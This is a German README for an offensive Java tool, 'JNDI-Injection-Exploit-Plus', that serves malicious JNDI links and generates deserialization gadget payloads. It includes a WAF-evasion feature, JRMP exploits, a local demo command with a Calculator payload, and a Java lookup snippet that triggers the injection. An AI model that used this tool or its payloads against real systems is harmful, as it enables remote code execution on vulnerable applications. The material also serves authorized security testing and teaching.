Noch mehr Funktionen

1. Mehr JNDI Remote Reference Gadgets: (insgesamt: 3)

• Unterstützt JDK 6/7/8

2. Mehr JNDI Local Reference Gadgets: (insgesamt: 4)

3. Deserialisierungs-Gadgets (insgesamt: 75)

P.S. Mehr Gadgets (⬆️) als ysoserial, willkommen bei PRs! ^_^

4. Generieren und Exportieren von Payloads

Wie ysoserial.

Sie können die Deserialisierungs-Payloads mit Base64- oder HEX-Ausgabe generieren.

5. Wrapper

Einige Wrapper zum Kapseln von Deserialisierungsdaten.

• Beispiel

6. Fusion

Versteckt den Klassennamen, um WAF zu umgehen.

• Beispiel

Referenz: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Webdienst zur Rückgabe von Deserialisierungs-Gadgets

P.S. Die Parameter wrapper & output sind optional.

Verwendung

JNDI-Links

Ausführen als

wobei:

• -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

  (optional, Standardbefehl ist „open /Applications/Calculator.app“)

• -A - die Adresse Ihres Servers, möglicherweise eine IP-Adresse oder eine Domain.

  (optional, Standardadresse ist die erste Netzwerkschnittstellenadresse)

Hinweise:

• Stellen Sie sicher, dass die Ports Ihres Servers (1099, 1389, 8180) verfügbar sind.

  oder Sie können den Standardport in der run.ServerStart-Klasse ändern.

• Ihr Befehl wird als Parameter an Runtime.getRuntime().exec() übergeben,

  daher müssen Sie sicherstellen, dass Ihr Befehl in der Methode exec() funktioniert.

  Befehle in Bash wie „bash -c ....“ müssen in doppelten Anführungszeichen stehen.

Deserialisierungs-Payloads

Ausführen als

wobei:

• -C - Befehl, der in der entfernten Klassendatei ausgeführt wird.

  (optional, Standardbefehl ist „open /Applications/Calculator.app“)

• -D - Der Name des Deserialisierungs-Gadget-Payloads.

• -O - (Optional) Der Ausgabetyp der Deserialisierung, Standard ist base64.

Deserialisierungs-Exploits

JRMP

• JRMPListener

• JRMPClient

Beispiele

JNDI-Links

Lokale Demo:

1. Starten Sie das Tool wie folgt:

   root@kitploit:~

   $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
   

   Screenshot:

   

2. Nehmen wir an, wir injizieren die JNDI-Links wie rmi://ADDRESS/remoteExploit8, die in Schritt 1 generiert wurden, in eine angreifbare Anwendung, die durch JNDI-Injection angreifbar ist.

   In diesem Beispiel sieht es so aus:

   root@kitploit:~

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }
   

   Wenn wir diesen Code ausführen, wird der Befehl ausgeführt

   und das Log wird in der Shell ausgegeben:

   

Weitere Beispiele: Test-JNDI-Injection-Exploit-Plus

Deserialisierungs-Payloads

Base64-Ausgabeergebnis:

Installation

Wir können eine der beiden Methoden wählen, um das JAR zu erhalten.

1. Laden Sie das neueste JAR von Release herunter.

2. Klonen Sie den Quellcode lokal und bauen Sie ihn (erfordert Java 1.8+ und Maven 3.x+).

   root@kitploit:~

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
   

   root@kitploit:~

   $ cd JNDI-Injection-Exploit-Plus
   

   root@kitploit:~

   $ mvn clean package -DskipTests
   

P.S. ‼️ Wenn Sie einen Fehler wie „java.rmi.xxx existiert nicht“ erhalten, sollten Sie die Umgebungsvariable JAVA_HOME setzen.

Haftungsausschluss

Alle Informationen und Codes dienen ausschließlich zu Bildungszwecken und/oder zum Testen eigener Systeme auf diese Schwachstellen.